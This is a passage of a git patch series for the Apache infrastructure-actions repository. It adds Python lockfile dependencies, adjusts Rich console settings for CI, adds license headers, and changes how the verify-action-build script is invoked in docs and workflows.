"https://files.pythonhosted.org/packages/5c/05/5ee478aa53f4bb7996482153d4bfe1b89e0f087f0ab6b294fcf92d595873/charset_normalizer-3.4.7-cp314-cp314-win32.whl", hash = "sha256:5b77459df20e08151cd6f8b9ef8ef1f961ef73d85c21a555c7eed5b79410ec10", size = 148541, upload-time = "2026-04-02T09:27:25.146Z" }, + { url = "https://files.pythonhosted.org/packages/48/77/72dcb0921b2ce86420b2d79d454c7022bf5be40202a2a07906b9f2a35c97/charset_normalizer-3.4.7-cp314-cp314-win_amd64.whl", hash = "sha256:92a0a01ead5e668468e952e4238cccd7c537364eb7d851ab144ab6627dbbe12f", size = 159634, upload-time = "2026-04-02T09:27:26.642Z" }, + { url = "https://files.pythonhosted.org/packages/c6/a3/c2369911cd72f02386e4e340770f6e158c7980267da16af8f668217abaa0/charset_normalizer-3.4.7-cp314-cp314-win_arm64.whl", hash = "sha256:67f6279d125ca0046a7fd386d01b311c6363844deac3e5b069b514ba3e63c246", size = 148384, upload-time = "2026-04-02T09:27:28.271Z" }, + { url = "https://files.pythonhosted.org/packages/94/09/7e8a7f73d24dba1f0035fbbf014d2c36828fc1bf9c88f84093e57d315935/charset_normalizer-3.4.7-cp314-cp314t-macosx_10_15_universal2.whl", hash = "sha256:effc3f449787117233702311a1b7d8f59cba9ced946ba727bdc329ec69028e24", size = 330133, upload-time = "2026-04-02T09:27:29.474Z" }, + { url = "https://files.pythonhosted.org/packages/8d/da/96975ddb11f8e977f706f45cddd8540fd8242f71ecdb5d18a80723dcf62c/charset_normalizer-3.4.7-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:fbccdc05410c9ee21bbf16a35f4c1d16123dcdeb8a1d38f33654fa21d0234f79", size = 216257, upload-time = "2026-04-02T09:27:30.793Z" }, + { url = "https://files.pythonhosted.org/packages/e5/e8/1d63bf8ef2d388e95c64b2098f45f84758f6d102a087552da1485912637b/charset_normalizer-3.4.7-cp314-cp314t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:733784b6d6def852c814bce5f318d25da2ee65dd4839a0718641c696e09a2960", size = 234851, upload-time = "2026-04-02T09:27:32.44Z" }, + { url = "https://files.pythonhosted.org/packages/9b/40/e5ff04233e70da2681fa43969ad6f66ca5611d7e669be0246c4c7aaf6dc8/charset_normalizer-3.4.7-cp314-cp314t-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:a89c23ef8d2c6b27fd200a42aa4ac72786e7c60d40efdc76e6011260b6e949c4", size = 233393, upload-time = "2026-04-02T09:27:34.03Z" }, + { url = "https://files.pythonhosted.org/packages/be/c1/06c6c49d5a5450f76899992f1ee40b41d076aee9279b49cf9974d2f313d5/charset_normalizer-3.4.7-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:6c114670c45346afedc0d947faf3c7f701051d2518b943679c8ff88befe14f8e", size = 223251, upload-time = "2026-04-02T09:27:35.369Z" }, + { url = "https://files.pythonhosted.org/packages/2b/9f/f2ff16fb050946169e3e1f82134d107e5d4ae72647ec8a1b1446c148480f/charset_normalizer-3.4.7-cp314-cp314t-manylinux_2_31_armv7l.whl", hash = "sha256:a180c5e59792af262bf263b21a3c49353f25945d8d9f70628e73de370d55e1e1", size = 206609, upload-time = "2026-04-02T09:27:36.661Z" }, + { url = "https://files.pythonhosted.org/packages/69/d5/a527c0cd8d64d2eab7459784fb4169a0ac76e5a6fc5237337982fd61347e/charset_normalizer-3.4.7-cp314-cp314t-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:3c9a494bc5ec77d43cea229c4f6db1e4d8fe7e1bbffa8b6f0f0032430ff8ab44", size = 220014, upload-time = "2026-04-02T09:27:38.019Z" }, + { url = "https://files.pythonhosted.org/packages/7e/80/8a7b8104a3e203074dc9aa2c613d4b726c0e136bad1cc734594b02867972/charset_normalizer-3.4.7-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:8d828b6667a32a728a1ad1d93957cdf37489c57b97ae6c4de2860fa749b8fc1e", size = 218979, upload-time = "2026-04-02T09:27:39.37Z" }, + { url = "https://files.pythonhosted.org/packages/02/9a/b759b503d507f375b2b5c153e4d2ee0a75aa215b7f2489cf314f4541f2c0/charset_normalizer-3.4.7-cp314-cp314t-musllinux_1_2_armv7l.whl", hash = "sha256:cf1493cd8607bec4d8a7b9b004e699fcf8f9103a9284cc94962cb73d20f9d4a3", size = 209238, upload-time = "2026-04-02T09:27:40.722Z" }, + { url = "https://files.pythonhosted.org/packages/c2/4e/0f3f5d47b86bdb79256e7290b26ac847a2832d9a4033f7eb2cd4bcf4bb5b/charset_normalizer-3.4.7-cp314-cp314t-musllinux_1_2_ppc64le.whl", hash = "sha256:0c96c3b819b5c3e9e165495db84d41914d6894d55181d2d108cc1a69bfc9cce0", size = 236110, upload-time = "2026-04-02T09:27:42.33Z" }, + { url = "https://files.pythonhosted.org/packages/96/23/bce28734eb3ed2c91dcf93abeb8a5cf393a7b2749725030bb630e554fdd8/charset_normalizer-3.4.7-cp314-cp314t-musllinux_1_2_riscv64.whl", hash = "sha256:752a45dc4a6934060b3b0dab47e04edc3326575f82be64bc4fc293914566503e", size = 219824, upload-time = "2026-04-02T09:27:43.924Z" }, + { url = "https://files.pythonhosted.org/packages/2c/6f/6e897c6984cc4d41af319b077f2f600fc8214eb2fe2d6bcb79141b882400/charset_normalizer-3.4.7-cp314-cp314t-musllinux_1_2_s390x.whl", hash = "sha256:8778f0c7a52e56f75d12dae53ae320fae900a8b9b4164b981b9c5ce059cd1fcb", size = 233103, upload-time = "2026-04-02T09:27:45.348Z" }, + { url = "https://files.pythonhosted.org/packages/76/22/ef7bd0fe480a0ae9b656189ec00744b60933f68b4f42a7bb06589f6f576a/charset_normalizer-3.4.7-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:ce3412fbe1e31eb81ea42f4169ed94861c56e643189e1e75f0041f3fe7020abe", size = 225194, upload-time = "2026-04-02T09:27:46.706Z" }, + { url = "https://files.pythonhosted.org/packages/c5/a7/0e0ab3e0b5bc1219bd80a6a0d4d72ca74d9250cb2382b7c699c147e06017/charset_normalizer-3.4.7-cp314-cp314t-win32.whl", hash = "sha256:c03a41a8784091e67a39648f70c5f97b5b6a37f216896d44d2cdcb82615339a0", size = 159827, upload-time = "2026-04-02T09:27:48.053Z" }, + { url = "https://files.pythonhosted.org/packages/7a/1d/29d32e0fb40864b1f878c7f5a0b343ae676c6e2b271a2d55cc3a152391da/charset_normalizer-3.4.7-cp314-cp314t-win_amd64.whl", hash = "sha256:03853ed82eeebbce3c2abfdbc98c96dc205f32a79627688ac9a27370ea61a49c", size = 174168, upload-time = "2026-04-02T09:27:49.795Z" }, + { url = "https://files.pythonhosted.org/packages/de/32/d92444ad05c7a6e41fb2036749777c163baf7a0301a040cb672d6b2b1ae9/charset_normalizer-3.4.7-cp314-cp314t-win_arm64.whl", hash = "sha256:c35abb8bfff0185efac5878da64c45dafd2b37fb0383add1be155a763c1f083d", size = 153018, upload-time = "2026-04-02T09:27:51.116Z" }, + { url = "https://files.pythonhosted.org/packages/db/8f/61959034484a4a7c527811f4721e75d02d653a35afb0b6054474d8185d4c/charset_normalizer-3.4.7-py3-none-any.whl", hash = "sha256:3dce51d0f5e7951f8bb4900c257dad282f49190fdbebecd4ba99bcc41fef404d", size = 61958, upload-time = "2026-04-02T09:28:37.794Z" }, +] + [[package]] name = "colorama" version = "0.4.6" @@ -24,6 +90,24 @@ wheels = [ { url = "https://files.pythonhosted.org/packages/12/b3/231ffd4ab1fc9d679809f356cebee130ac7daa00d6d6f3206dd4fd137e9e/distro-1.9.0-py3-none-any.whl", hash = "sha256:7bffd925d65168f85027d8da9af6bddab658135b840670a223589bc0c8ef02b2", size = 20277, upload-time = "2023-12-24T09:54:30.421Z" }, ] +[[package]] +name = "editorconfig" +version = "0.17.1" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/88/3a/a61d9a1f319a186b05d14df17daea42fcddea63c213bcd61a929fb3a6796/editorconfig-0.17.1.tar.gz", hash = "sha256:23c08b00e8e08cc3adcddb825251c497478df1dada6aefeb01e626ad37303745", size = 14695, upload-time = "2025-06-09T08:21:37.097Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/96/fd/a40c621ff207f3ce8e484aa0fc8ba4eb6e3ecf52e15b42ba764b457a9550/editorconfig-0.17.1-py3-none-any.whl", hash = "sha256:1eda9c2c0db8c16dbd50111b710572a5e6de934e39772de1959d41f64fc17c82", size = 16360, upload-time = "2025-06-09T08:21:35.654Z" }, +] + +[[package]] +name = "idna" +version = "3.11" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/6f/6d/0703ccc57f3a7233505399edb88de3cbd678da106337b9fcde432b65ed60/idna-3.11.tar.gz", hash = "sha256:795dafcc9c04ed0c1fb032c2aa73654d8e8c5023a7df64a53f39190ada629902", size = 194582, upload-time = "2025-10-12T14:55:20.501Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/0e/61/66938bbb5fc52dbdf84594873d5b51fb1f7c7794e9c0f5bd885f30bc507b/idna-3.11-py3-none-any.whl", hash = "sha256:771a87f49d9defaf64091e6e6fe9c18d4833f140bd19464795bc32d966ca37ea", size = 71008, upload-time = "2025-10-12T14:55:18.883Z" }, +] + [[package]] name = "infrastructure-actions" version = "0.1.0" @@ -34,14 +118,22 @@ dependencies = [ [package.dev-dependencies] dev = [ + { name = "jsbeautifier" }, { name = "pytest" }, + { name = "requests" }, + { name = "rich" }, ] [package.metadata] requires-dist = [{ name = "ruyaml", specifier = ">=0.91.0" }] [package.metadata.requires-dev] -dev = [{ name = "pytest" }] +dev = [ + { name = "jsbeautifier", specifier = ">=1.15" }, + { name = "pytest" }, + { name = "requests", specifier = ">=2.31" }, + { name = "rich", specifier = ">=13.0" }, +] [[package]] name = "iniconfig" @@ -52,6 +144,40 @@ wheels = [ { url = "https://files.pythonhosted.org/packages/cb/b1/3846dd7f199d53cb17f49cba7e651e9ce294d8497c8c150530ed11865bb8/iniconfig-2.3.0-py3-none-any.whl", hash = "sha256:f631c04d2c48c52b84d0d0549c99ff3859c98df65b3101406327ecc7d53fbf12", size = 7484, upload-time = "2025-10-18T21:55:41.639Z" }, ] +[[package]] +name = "jsbeautifier" +version = "1.15.4" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "editorconfig" }, + { name = "six" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/ea/98/d6cadf4d5a1c03b2136837a435682418c29fdeb66be137128544cecc5b7a/jsbeautifier-1.15.4.tar.gz", hash = "sha256:5bb18d9efb9331d825735fbc5360ee8f1aac5e52780042803943aa7f854f7592", size = 75257, upload-time = "2025-02-27T17:53:53.252Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/2d/14/1c65fccf8413d5f5c6e8425f84675169654395098000d8bddc4e9d3390e1/jsbeautifier-1.15.4-py3-none-any.whl", hash = "sha256:72f65de312a3f10900d7685557f84cb61a9733c50dcc27271a39f5b0051bf528", size = 94707, upload-time = "2025-02-27T17:53:46.152Z" }, +] + +[[package]] +name = "markdown-it-py" +version = "4.0.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "mdurl" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/5b/f5/4ec618ed16cc4f8fb3b701563655a69816155e79e24a17b651541804721d/markdown_it_py-4.0.0.tar.gz", hash = "sha256:cb0a2b4aa34f932c007117b194e945bd74e0ec24133ceb5bac59009cda1cb9f3", size = 73070, upload-time = "2025-08-11T12:57:52.854Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/94/54/e7d793b573f298e1c9013b8c4dade17d481164aa517d1d7148619c2cedbf/markdown_it_py-4.0.0-py3-none-any.whl", hash = "sha256:87327c59b172c5011896038353a81343b6754500a08cd7a4973bb48c6d578147", size = 87321, upload-time = "2025-08-11T12:57:51.923Z" }, +] + +[[package]] +name = "mdurl" +version = "0.1.2" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/d6/54/cfe61301667036ec958cb99bd3efefba235e65cdeb9c84d24a8293ba1d90/mdurl-0.1.2.tar.gz", hash = "sha256:bb413d29f5eea38f31dd4754dd7377d4465116fb207585f97bf925588687c1ba", size = 8729, upload-time = "2022-08-14T12:40:10.846Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/b3/38/89ba8ad64ae25be8de66a6d463314cf1eb366222074cfda9ee839c56a4b4/mdurl-0.1.2-py3-none-any.whl", hash = "sha256:84008a41e51615a49fc9966191ff91509e3c40b939176e643fd50a5c2196b8f8", size = 9979, upload-time = "2022-08-14T12:40:09.779Z" }, +] + [[package]] name = "packaging" version = "26.0" @@ -95,6 +221,34 @@ wheels = [ { url = "https://files.pythonhosted.org/packages/3b/ab/b3226f0bd7cdcf710fbede2b3548584366da3b19b5021e74f5bde2a8fa3f/pytest-9.0.2-py3-none-any.whl", hash = "sha256:711ffd45bf766d5264d487b917733b453d917afd2b0ad65223959f59089f875b", size = 374801, upload-time = "2025-12-06T21:30:49.154Z" }, ] +[[package]] +name = "requests" +version = "2.33.1" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "certifi" }, + { name = "charset-normalizer" }, + { name = "idna" }, + { name = "urllib3" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/5f/a4/98b9c7c6428a668bf7e42ebb7c79d576a1c3c1e3ae2d47e674b468388871/requests-2.33.1.tar.gz", hash = "sha256:18817f8c57c6263968bc123d237e3b8b08ac046f5456bd1e307ee8f4250d3517", size = 134120, upload-time = "2026-03-30T16:09:15.531Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/d7/8e/7540e8a2036f79a125c1d2ebadf69ed7901608859186c856fa0388ef4197/requests-2.33.1-py3-none-any.whl", hash = "sha256:4e6d1ef462f3626a1f0a0a9c42dd93c63bad33f9f1c1937509b8c5c8718ab56a", size = 64947, upload-time = "2026-03-30T16:09:13.83Z" }, +] + +[[package]] +name = "rich" +version = "14.3.3" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "markdown-it-py" }, + { name = "pygments" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/b3/c6/f3b320c27991c46f43ee9d856302c70dc2d0fb2dba4842ff739d5f46b393/rich-14.3.3.tar.gz", hash = "sha256:b8daa0b9e4eef54dd8cf7c86c03713f53241884e814f4e2f5fb342fe520f639b", size = 230582, upload-time = "2026-02-19T17:23:12.474Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/14/25/b208c5683343959b670dc001595f2f3737e051da617f66c31f7c4fa93abc/rich-14.3.3-py3-none-any.whl", hash = "sha256:793431c1f8619afa7d3b52b2cdec859562b950ea0d4b6b505397612db8d5362d", size = 310458, upload-time = "2026-02-19T17:23:13.732Z" }, +] + [[package]] name = "ruyaml" version = "0.91.0" @@ -116,3 +270,21 @@ sdist = { url = "https://files.pythonhosted.org/packages/4f/db/cfac1baf10650ab4d wheels = [ { url = "https://files.pythonhosted.org/packages/9d/76/f789f7a86709c6b087c5a2f52f911838cad707cc613162401badc665acfe/setuptools-82.0.1-py3-none-any.whl", hash = "sha256:a59e362652f08dcd477c78bb6e7bd9d80a7995bc73ce773050228a348ce2e5bb", size = 1006223, upload-time = "2026-03-09T12:47:15.026Z" }, ] + +[[package]] +name = "six" +version = "1.17.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/94/e7/b2c673351809dca68a0e064b6af791aa332cf192da575fd474ed7d6f16a2/six-1.17.0.tar.gz", hash = "sha256:ff70335d468e7eb6ec65b95b99d3a2836546063f63acc5171de367e834932a81", size = 34031, upload-time = "2024-12-04T17:35:28.174Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/b7/ce/149a00dd41f10bc29e5921b496af8b574d8413afcd5e30dfa0ed46c2cc5e/six-1.17.0-py2.py3-none-any.whl", hash = "sha256:4721f391ed90541fddacab5acf947aa0d3dc7d27b2e1e8eda2be8970586c3274", size = 11050, upload-time = "2024-12-04T17:35:26.475Z" }, +] + +[[package]] +name = "urllib3" +version = "2.6.3" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/c7/24/5f1b3bdffd70275f6661c76461e25f024d5a38a46f04aaca912426a2b1d3/urllib3-2.6.3.tar.gz", hash = "sha256:1b62b6884944a57dbe321509ab94fd4d3b307075e0c2eae991ac71ee15ad38ed", size = 435556, upload-time = "2026-01-07T16:24:43.925Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/39/08/aaaad47bc4e9dc8c725e68f9d04865dbcb2052843ff09c97b08904852d84/urllib3-2.6.3-py3-none-any.whl", hash = "sha256:bf272323e553dfb2e87d9bfd225ca7b0f467b919d7bbd355436d3fd37cb0acd4", size = 131584, upload-time = "2026-01-07T16:24:42.685Z" }, +] From cde7375a4a2fc95973f49ab85994648db77bd74b Mon Sep 17 00:00:00 2001 From: Jarek Potiuk Date: Mon, 6 Apr 2026 17:02:40 +0200 Subject: [PATCH 2/5] Let Rich auto-detect terminal when CI is not set Previously force_terminal=False was passed outside CI, disabling color on real terminals. Now we only override Rich defaults inside CI. Generated-by: Claude Opus 4.6 (1M context) --- utils/verify_action_build/console.py | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/utils/verify_action_build/console.py b/utils/verify_action_build/console.py index e1ea0420..400389fe 100644 --- a/utils/verify_action_build/console.py +++ b/utils/verify_action_build/console.py @@ -24,10 +24,10 @@ from rich.console import Console _is_ci = os.environ.get("CI") is not None -_ci_console_options = {"force_interactive": False, "width": 200} if _is_ci else {} +_ci_console_options: dict = {"force_interactive": False, "force_terminal": True, "width": 200} if _is_ci else {} -console = Console(stderr=True, force_terminal=_is_ci, **_ci_console_options) -output = Console(force_terminal=_is_ci, **_ci_console_options) +console = Console(stderr=True, **_ci_console_options) +output = Console(**_ci_console_options) def link(url: str, text: str) -> str: From 0a39e85eac36f82e6e66ca23c25223bdd5599d67 Mon Sep 17 00:00:00 2001 From: Jarek Potiuk Date: Mon, 6 Apr 2026 17:06:30 +0200 Subject: [PATCH 3/5] Add ASF license headers to test __init__.py files RAT check failed because these empty files had no license header. Generated-by: Claude Opus 4.6 (1M context) --- utils/tests/__init__.py | 18 ++++++++++++++++++ utils/tests/verify_action_build/__init__.py | 18 ++++++++++++++++++ 2 files changed, 36 insertions(+) diff --git a/utils/tests/__init__.py b/utils/tests/__init__.py index e69de29b..fe95886d 100644 --- a/utils/tests/__init__.py +++ b/utils/tests/__init__.py @@ -0,0 +1,18 @@ +# +# Licensed to the Apache Software Foundation (ASF) under one +# or more contributor license agreements. See the NOTICE file +# distributed with this work for additional information +# regarding copyright ownership. The ASF licenses this file +# to you under the Apache License, Version 2.0 (the +# "License"); you may not use this file except in compliance +# with the License. You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, +# software distributed under the License is distributed on an +# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY +# KIND, either express or implied. See the License for the +# specific language governing permissions and limitations +# under the License. +# diff --git a/utils/tests/verify_action_build/__init__.py b/utils/tests/verify_action_build/__init__.py index e69de29b..fe95886d 100644 --- a/utils/tests/verify_action_build/__init__.py +++ b/utils/tests/verify_action_build/__init__.py @@ -0,0 +1,18 @@ +# +# Licensed to the Apache Software Foundation (ASF) under one +# or more contributor license agreements. See the NOTICE file +# distributed with this work for additional information +# regarding copyright ownership. The ASF licenses this file +# to you under the Apache License, Version 2.0 (the +# "License"); you may not use this file except in compliance +# with the License. You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, +# software distributed under the License is distributed on an +# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY +# KIND, either express or implied. See the License for the +# specific language governing permissions and limitations +# under the License. +# From e2b6740492d012ec37fad20a97c45bb0a008409f Mon Sep 17 00:00:00 2001 From: Jarek Potiuk Date: Mon, 6 Apr 2026 17:33:57 +0200 Subject: [PATCH 4/5] Update docs and CI to use new package invocation Replace `uv run utils/verify-action-build.py` with `uv run --directory utils verify-action-build` in README, PR template, CI workflow, and package docstring. Generated-by: Claude Opus 4.6 (1M context) --- .github/PULL_REQUEST_TEMPLATE/action_approval.md | 2 +- .github/workflows/verify_dependabot_action.yml | 2 +- README.md | 12 ++++++------ utils/verify_action_build/__init__.py | 2 +- 4 files changed, 9 insertions(+), 9 deletions(-) diff --git a/.github/PULL_REQUEST_TEMPLATE/action_approval.md b/.github/PULL_REQUEST_TEMPLATE/action_approval.md index 7897b567..47bd56ce 100644 --- a/.github/PULL_REQUEST_TEMPLATE/action_approval.md +++ b/.github/PULL_REQUEST_TEMPLATE/action_approval.md @@ -54,4 +54,4 @@ Please check all boxes that currently apply: - [ ] The action has a clearly defined license - [ ] The action is actively developed or maintained - [ ] The action has CI/unit tests configured -- [ ] Compiled JavaScript in `dist/` matches a clean rebuild (verify with `uv run utils/verify-action-build.py org/repo@hash`) +- [ ] Compiled JavaScript in `dist/` matches a clean rebuild (verify with `uv run --directory utils verify-action-build org/repo@hash`) diff --git a/.github/workflows/verify_dependabot_action.yml b/.github/workflows/verify_dependabot_action.yml index 1df5625a..858c70e5 100644 --- a/.github/workflows/verify_dependabot_action.yml +++ b/.github/workflows/verify_dependabot_action.yml @@ -45,7 +45,7 @@ jobs: # interpreted as GitHub Actions commands. stop_token="$(uuidgen)" echo "::stop-commands::${stop_token}" - uv run utils/verify-action-build.py --ci --from-pr "${{ github.event.pull_request.number }}" + uv run --directory utils verify-action-build --ci --from-pr "${{ github.event.pull_request.number }}" rc=$? echo "::${stop_token}::" exit $rc diff --git a/README.md b/README.md index 1336743f..c4449e81 100644 --- a/README.md +++ b/README.md @@ -126,13 +126,13 @@ Projects are encouraged to help review updates to actions they use. Please have Many GitHub Actions ship pre-compiled JavaScript in their `dist/` directory. To verify that the published compiled JS matches a clean rebuild from source, use the verification script: ```bash -uv run utils/verify-action-build.py org/repo@commit_hash +uv run --directory utils verify-action-build org/repo@commit_hash ``` For example: ```bash -uv run utils/verify-action-build.py dorny/test-reporter@dc3a92680fcc15842eef52e8c4606ea7ce6bd3f3 +uv run --directory utils verify-action-build dorny/test-reporter@dc3a92680fcc15842eef52e8c4606ea7ce6bd3f3 ``` The script will: @@ -164,7 +164,7 @@ For the full approval policy and requirements, see the [ASF GitHub Actions Polic To review all open dependabot PRs at once, run: ```bash -uv run utils/verify-action-build.py --check-dependabot-prs +uv run --directory utils verify-action-build --check-dependabot-prs ``` This will: @@ -181,11 +181,11 @@ If you prefer not to install the `gh` CLI, you can use `--no-gh` to make all Git ```bash # Using the flag: -uv run utils/verify-action-build.py --no-gh --github-token ghp_... org/repo@commit_hash +uv run --directory utils verify-action-build --no-gh --github-token ghp_... org/repo@commit_hash # Or via environment variable: export GITHUB_TOKEN=ghp_... -uv run utils/verify-action-build.py --no-gh --check-dependabot-prs +uv run --directory utils verify-action-build --no-gh --check-dependabot-prs ``` The `--no-gh` mode supports all the same features as the default `gh`-based mode. @@ -199,7 +199,7 @@ The script exits with code **1** (failure) when something is unexpectedly broken To verify a specific PR locally (non-interactively), use: ```bash -uv run utils/verify-action-build.py --ci --from-pr 123 +uv run --directory utils verify-action-build --ci --from-pr 123 ``` The `--ci` flag skips all interactive prompts (auto-selects the newest approved version for diffing, auto-accepts exclusions, disables paging). The `--from-pr` flag extracts the action reference from the given PR number. diff --git a/utils/verify_action_build/__init__.py b/utils/verify_action_build/__init__.py index 083f6556..206eb8d3 100644 --- a/utils/verify_action_build/__init__.py +++ b/utils/verify_action_build/__init__.py @@ -22,7 +22,7 @@ rebuilds it, and diffs the published compiled JS against the locally built output. Usage: - uv run verify-action-build dorny/test-reporter@df6247429542221bc30d46a036ee47af1102c451 + uv run --directory utils verify-action-build dorny/test-reporter@df6247429542221bc30d46a036ee47af1102c451 Security review checklist: https://github.com/apache/infrastructure-actions#security-review-checklist From 2a3532b5115e8848c80a292071d97cb40cb5c603 Mon Sep 17 00:00:00 2001 From: Jarek Potiuk Date: Mon, 6 Apr 2026 17:36:59 +0200 Subject: [PATCH 5/5] Restore uv run utils/verify-action-build.py invocation uv run doesn't install console script entry points, so the --directory approach doesn't work. Keep a thin wrapper script with PEP 723 metadata that delegates to the package, preserving the original invocation that docs, CI, and users expect. Generated-by: Claude Opus 4.6 (1M context) --- .../PULL_REQUEST_TEMPLATE/action_approval.md | 2 +- .../workflows/verify_dependabot_action.yml | 2 +- README.md | 12 +++---- utils/uv.lock | 4 +++ utils/verify-action-build.py | 31 +++++++++++++++++++ utils/verify_action_build/__init__.py | 2 +- 6 files changed, 44 insertions(+), 9 deletions(-) create mode 100644 utils/verify-action-build.py diff --git a/.github/PULL_REQUEST_TEMPLATE/action_approval.md b/.github/PULL_REQUEST_TEMPLATE/action_approval.md index 47bd56ce..7897b567 100644 --- a/.github/PULL_REQUEST_TEMPLATE/action_approval.md +++ b/.github/PULL_REQUEST_TEMPLATE/action_approval.md @@ -54,4 +54,4 @@ Please check all boxes that currently apply: - [ ] The action has a clearly defined license - [ ] The action is actively developed or maintained - [ ] The action has CI/unit tests configured -- [ ] Compiled JavaScript in `dist/` matches a clean rebuild (verify with `uv run --directory utils verify-action-build org/repo@hash`) +- [ ] Compiled JavaScript in `dist/` matches a clean rebuild (verify with `uv run utils/verify-action-build.py org/repo@hash`) diff --git a/.github/workflows/verify_dependabot_action.yml b/.github/workflows/verify_dependabot_action.yml index 858c70e5..1df5625a 100644 --- a/.github/workflows/verify_dependabot_action.yml +++ b/.github/workflows/verify_dependabot_action.yml @@ -45,7 +45,7 @@ jobs: # interpreted as GitHub Actions commands. stop_token="$(uuidgen)" echo "::stop-commands::${stop_token}" - uv run --directory utils verify-action-build --ci --from-pr "${{ github.event.pull_request.number }}" + uv run utils/verify-action-build.py --ci --from-pr "${{ github.event.pull_request.number }}" rc=$? echo "::${stop_token}::" exit $rc diff --git a/README.md b/README.md index c4449e81..1336743f 100644 --- a/README.md +++ b/README.md @@ -126,13 +126,13 @@ Projects are encouraged to help review updates to actions they use. Please have Many GitHub Actions ship pre-compiled JavaScript in their `dist/` directory. To verify that the published compiled JS matches a clean rebuild from source, use the verification script: ```bash -uv run --directory utils verify-action-build org/repo@commit_hash +uv run utils/verify-action-build.py org/repo@commit_hash ``` For example: ```bash -uv run --directory utils verify-action-build dorny/test-reporter@dc3a92680fcc15842eef52e8c4606ea7ce6bd3f3 +uv run utils/verify-action-build.py dorny/test-reporter@dc3a92680fcc15842eef52e8c4606ea7ce6bd3f3 ``` The script will: @@ -164,7 +164,7 @@ For the full approval policy and requirements, see the [ASF GitHub Actions Polic To review all open dependabot PRs at once, run: ```bash -uv run --directory utils verify-action-build --check-dependabot-prs +uv run utils/verify-action-build.py --check-dependabot-prs ``` This will: @@ -181,11 +181,11 @@ If you prefer not to install the `gh` CLI, you can use `--no-gh` to make all Git ```bash # Using the flag: -uv run --directory utils verify-action-build --no-gh --github-token ghp_... org/repo@commit_hash +uv run utils/verify-action-build.py --no-gh --github-token ghp_... org/repo@commit_hash # Or via environment variable: export GITHUB_TOKEN=ghp_... -uv run --directory utils verify-action-build --no-gh --check-dependabot-prs +uv run utils/verify-action-build.py --no-gh --check-dependabot-prs ``` The `--no-gh` mode supports all the same features as the default `gh`-based mode. @@ -199,7 +199,7 @@ The script exits with code **1** (failure) when something is unexpectedly broken To verify a specific PR locally (non-interactively), use: ```bash -uv run --directory utils verify-action-build --ci --from-pr 123 +uv run utils/verify-action-build.py --ci --from-pr 123 ``` The `--ci` flag skips all interactive prompts (auto-selects the newest approved version for diffing, auto-accepts exclusions, disables paging). The `--from-pr` flag extracts the action reference from the given PR number. diff --git a/utils/uv.lock b/utils/uv.lock index 9b17cff0..e5f6027e 100644 --- a/utils/uv.lock +++ b/utils/uv.lock @@ -2,6 +2,10 @@ version = 1 revision = 3 requires-python = ">=3.11" +[options] +exclude-newer = "2026-04-02T15:34:25.957569Z" +exclude-newer-span = "P4D" + [[package]] name = "certifi" version = "2026.2.25" diff --git a/utils/verify-action-build.py b/utils/verify-action-build.py new file mode 100644 index 00000000..af96b5d7 --- /dev/null +++ b/utils/verify-action-build.py @@ -0,0 +1,31 @@ +# +# Licensed to the Apache Software Foundation (ASF) under one +# or more contributor license agreements. See the NOTICE file +# distributed with this work for additional information +# regarding copyright ownership. The ASF licenses this file +# to you under the Apache License, Version 2.0 (the +# "License"); you may not use this file except in compliance +# with the License. You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, +# software distributed under the License is distributed on an +# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY +# KIND, either express or implied. See the License for the +# specific language governing permissions and limitations +# under the License. +# +# /// script +# requires-python = ">=3.11" +# dependencies = [ +# "jsbeautifier>=1.15", +# "requests>=2.31", +# "rich>=13.0", +# ] +# /// +"""Thin wrapper so that ``uv run utils/verify-action-build.py`` keeps working.""" + +from verify_action_build.cli import main + +main() diff --git a/utils/verify_action_build/__init__.py b/utils/verify_action_build/__init__.py index 206eb8d3..88ec9708 100644 --- a/utils/verify_action_build/__init__.py +++ b/utils/verify_action_build/__init__.py @@ -22,7 +22,7 @@ rebuilds it, and diffs the published compiled JS against the locally built output. Usage: - uv run --directory utils verify-action-build dorny/test-reporter@df6247429542221bc30d46a036ee47af1102c451 